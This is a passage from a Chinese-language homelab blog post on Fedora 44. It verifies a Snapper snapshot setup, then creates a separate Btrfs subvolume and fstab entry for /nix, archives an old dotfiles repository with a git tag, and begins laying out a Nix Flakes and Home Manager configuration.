&lt;p&gt;根与 home 使用不同编号空间，彼此独立清理。DNF5 actions 仍然只操作 &lt;code&gt;root&lt;/code&gt;，不会因为增加 home 配置而给每次软件包事务复制一份用户目录快照。&lt;/p&gt;
&lt;h3 id="最终验收"&gt;最终验收
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;root&lt;/code&gt; 配置存在且指向 &lt;code&gt;/&lt;/code&gt;：通过；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/.snapshots&lt;/code&gt; 挂载顶层 subvolid 256 &lt;code&gt;/snapshots&lt;/code&gt;：通过；&lt;/li&gt;
&lt;li&gt;timeline 与 cleanup timers 均为 enabled/active：通过；&lt;/li&gt;
&lt;li&gt;important 基线快照 &lt;code&gt;#1&lt;/code&gt; 存在：通过；&lt;/li&gt;
&lt;li&gt;DNF5 重装测试生成 cleanup=&lt;code&gt;number&lt;/code&gt; 的 &lt;code&gt;#2/#3&lt;/code&gt; pre/post 对：通过；&lt;/li&gt;
&lt;li&gt;单文件 undochange 演练成功并清理 &lt;code&gt;#4/#5&lt;/code&gt;：通过；&lt;/li&gt;
&lt;li&gt;数量保留策略已经写入配置，QGROUP 保持为空：通过；&lt;/li&gt;
&lt;li&gt;Live USB 完整恢复命令已经记录，但不为了测试而替换当前健康的根子卷。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;完成 home 配置后的当前 root 快照列表为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# │ 类型 │ 前期 # │ 清空 │ 描述 │ 用户数据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 │ single │ │ number │ Fedora 44 homelab baseline │ important=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2 │ pre │ │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3 │ post │ 2 │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4 │ single │ │ timeline │ timeline │
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;#4&lt;/code&gt; 是 timeline timer 在整点自动创建的第一份 root 时间线快照。&lt;/p&gt;
&lt;p&gt;actions 文件权限为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;644 root:root /etc/dnf/libdnf5-plugins/actions.d/snapper.actions
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;至此，根文件系统已经有小时快照、自动清理、DNF5 事务快照和经过实际验证的单文件恢复能力。完整根恢复保留为救援环境中的最后手段，而磁盘损坏仍然需要下一阶段的异机备份解决。&lt;/p&gt;
&lt;h2 id="用-nix-管理开发工具链"&gt;用 Nix 管理开发工具链
&lt;/h2&gt;&lt;h3 id="先划清-fedora-与-nix-的边界"&gt;先划清 Fedora 与 Nix 的边界
&lt;/h3&gt;&lt;p&gt;这台机器不会变成 NixOS。Fedora 仍然负责所有会影响整台主机启动和服务状态的东西：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内核、固件、驱动、SELinux、systemd 和网络；&lt;/li&gt;
&lt;li&gt;SSH、Cockpit、Mihomo、Snapper、Podman 等系统服务；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zsh&lt;/code&gt; 这个登录 shell 本身，避免 Nix store 不可用时连一个可登录的 shell 都没有。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nix 只负责 &lt;code&gt;veno&lt;/code&gt; 用户的命令行环境：CLI 软件、Zsh/Zimfw、fzf、tmux，以及以后按需启用的语言工具链。项目自己的依赖仍然留在项目中，例如 Python 项目继续由 &lt;code&gt;uv.lock&lt;/code&gt; 管理，Go 项目继续使用 &lt;code&gt;go.mod&lt;/code&gt;，不会把每个项目的库都塞进全局 Home Manager 配置。&lt;/p&gt;
&lt;p&gt;具体采用 &lt;strong&gt;Nix Flakes + standalone Home Manager&lt;/strong&gt;。Flake 提供固定入口和 &lt;code&gt;flake.lock&lt;/code&gt;，Home Manager 把用户环境声明成配置文件。换一台 Linux 机器时，只需要先安装 Nix，再从同一个仓库执行一次 &lt;code&gt;home-manager switch&lt;/code&gt;，而不是重新回忆自己曾经敲过哪些安装命令。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://nixos.org/download/" target="_blank" rel="noopener"
&gt;Nix 官方安装说明&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://nix.dev/concepts/flakes.html" target="_blank" rel="noopener"
&gt;Nix 手册：Flakes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://nix-community.github.io/home-manager/" target="_blank" rel="noopener"
&gt;Home Manager 官方手册&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://nix-community.github.io/home-manager/index.xhtml#sec-flakes-standalone" target="_blank" rel="noopener"
&gt;Home Manager 的 Flake 安装方式&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="把-nix-排除在根快照之外-btrfs-魅力时刻"&gt;把 /nix 排除在根快照之外 (Btrfs 魅力时刻)
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;/nix/store&lt;/code&gt; 是由 derivation 和 &lt;code&gt;flake.lock&lt;/code&gt; 重建的内容寻址存储，不需要跟随系统根做时间线快照。真正不可替代的声明配置位于 &lt;code&gt;/home/veno/dotfiles&lt;/code&gt;，由 home Snapper 保护。&lt;/p&gt;
&lt;p&gt;先创建一份 important root 快照：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;Before Nix installation&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际返回快照编号 &lt;code&gt;9&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后从 Btrfs 顶层创建与 &lt;code&gt;root&lt;/code&gt;、&lt;code&gt;home&lt;/code&gt;、&lt;code&gt;var&lt;/code&gt; 同级的 &lt;code&gt;nix&lt;/code&gt; 子卷：&lt;/p&gt;
&lt;p&gt;这就是 Btrfs 的魅力时刻：已经装好的系统临时需要一个独立 &lt;code&gt;/nix&lt;/code&gt;，直接从顶层再切一个子卷就行。如果这里用的是 Ext4，这时候大概就得重新分区、搬数据和调整文件系统，想想都麻烦死了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir -p /mnt/fedora-btrfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mount -o &lt;span class="nv"&gt;subvolid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /mnt/fedora-btrfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume create /mnt/fedora-btrfs/nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume show /mnt/fedora-btrfs/nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo umount /mnt/fedora-btrfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo rmdir /mnt/fedora-btrfs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;创建命令实际返回：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Create subvolume &amp;#39;/mnt/fedora-btrfs/nix&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;sudo btrfs subvolume show /mnt/fedora-btrfs/nix&lt;/code&gt; 的关键输出如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Name: nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UUID: f8ed083e-7c9e-7142-a6b2-eb3f24a0845c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Creation time: 2026-07-13 02:07:25 +0800
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Subvolume ID: 282
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Parent ID: 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Top level ID: 5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;备份并追加 fstab：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo cp -a /etc/fstab /etc/fstab.before-nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /nix btrfs subvol=nix,compress=zstd:1,noatime 0 0&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee -a /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir /nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mount /nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo restorecon -RF /nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;安装 Nix 前必须确认：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;findmnt /nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume show /nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mount -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际写入的是 &lt;code&gt;/etc/fstab&lt;/code&gt; 第 19 行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /nix btrfs subvol=nix,compress=zstd:1,noatime 0 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次 &lt;code&gt;sudo mount /nix&lt;/code&gt; 成功，但提示 systemd 仍在使用修改前的 fstab，因此又执行了 &lt;code&gt;sudo systemctl daemon-reload&lt;/code&gt;。&lt;code&gt;findmnt&lt;/code&gt; 的结果确认挂载来源正确：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TARGET SOURCE FSTYPE OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/nix /dev/nvme1n1p3[/nix] btrfs rw,noatime,seclabel,compress=zstd:1,...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;systemctl show -p Where,What,Options nix.mount&lt;/code&gt; 也能看到 systemd 识别出的实际挂载单元：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Where=/nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;What=/dev/nvme1n1p3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Options=rw,noatime,seclabel,compress=zstd:1,ssd,discard=async,space_cache=v2,subvolid=282,subvol=/nix
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最后 &lt;code&gt;sudo mount -a&lt;/code&gt; 没有输出，也就是没有发现 fstab 错误。至此 &lt;code&gt;/nix&lt;/code&gt; 来自 &lt;code&gt;/dev/nvme1n1p3[/nix]&lt;/code&gt;，Parent ID 和 Top level ID 都是 5，安装器不会把 Nix store 写进 root 子卷。&lt;/p&gt;
&lt;h3 id="重做-dotfiles-仓库"&gt;重做 dotfiles 仓库
&lt;/h3&gt;&lt;p&gt;我已经有一个叫 &lt;code&gt;dotfiles&lt;/code&gt; 的 GitHub 仓库，但它装的是早已弃用的 Chezmoi 配置。这次准备沿用这个仓库名，并把仓库重做为 Nix 配置。旧内容不会混入新的 Flake；真正改写远端历史前，先在 GitHub 上留一个 &lt;code&gt;chezmoi-archive&lt;/code&gt; tag 或归档分支，确认可以找回以后再替换默认分支。&lt;/p&gt;
&lt;p&gt;实际读取远端得到 &lt;code&gt;main&lt;/code&gt; 和 &lt;code&gt;HEAD&lt;/code&gt; 都指向提交 &lt;code&gt;b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1&lt;/code&gt;。克隆后能看到 &lt;code&gt;dot_zshrc&lt;/code&gt;、&lt;code&gt;private_dot_zimrc&lt;/code&gt; 等 Chezmoi 命名，确认没有认错仓库；远端当时没有任何 tag。准备把这个提交永久标记为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git tag -a chezmoi-archive-2026-07-13 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -m &lt;span class="s1"&gt;&amp;#39;Archive the previous Chezmoi-managed dotfiles&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin refs/tags/chezmoi-archive-2026-07-13
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git ls-remote --tags origin chezmoi-archive-2026-07-13
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;推送后再次查询远端，annotated tag 对象为 &lt;code&gt;8f41d9af2b5f63f99b1d032f963e71cf175f8705&lt;/code&gt;，解引用的 &lt;code&gt;^{}&lt;/code&gt; 仍是旧提交 &lt;code&gt;b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1&lt;/code&gt;。归档确认完成后才开始替换 &lt;code&gt;main&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;本轮只实现 ThinkPad，对应系统为 &lt;code&gt;x86_64-linux&lt;/code&gt;，主机配置名为 &lt;code&gt;veno@thinkpad&lt;/code&gt;。MacBook 暂缓，不安装 Nix，也不创建一个未经验证的 Darwin 配置；但模块不会把 Linux 特有软件硬塞进公共列表，给以后增加 &lt;code&gt;aarch64-darwin&lt;/code&gt; 留出空间。&lt;/p&gt;
&lt;p&gt;实际落地的仓库结构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dotfiles/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── flake.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── flake.lock
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── hosts/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── thinkpad.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── modules/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── shell/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── default.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── zsh.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── tmux.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── packages/
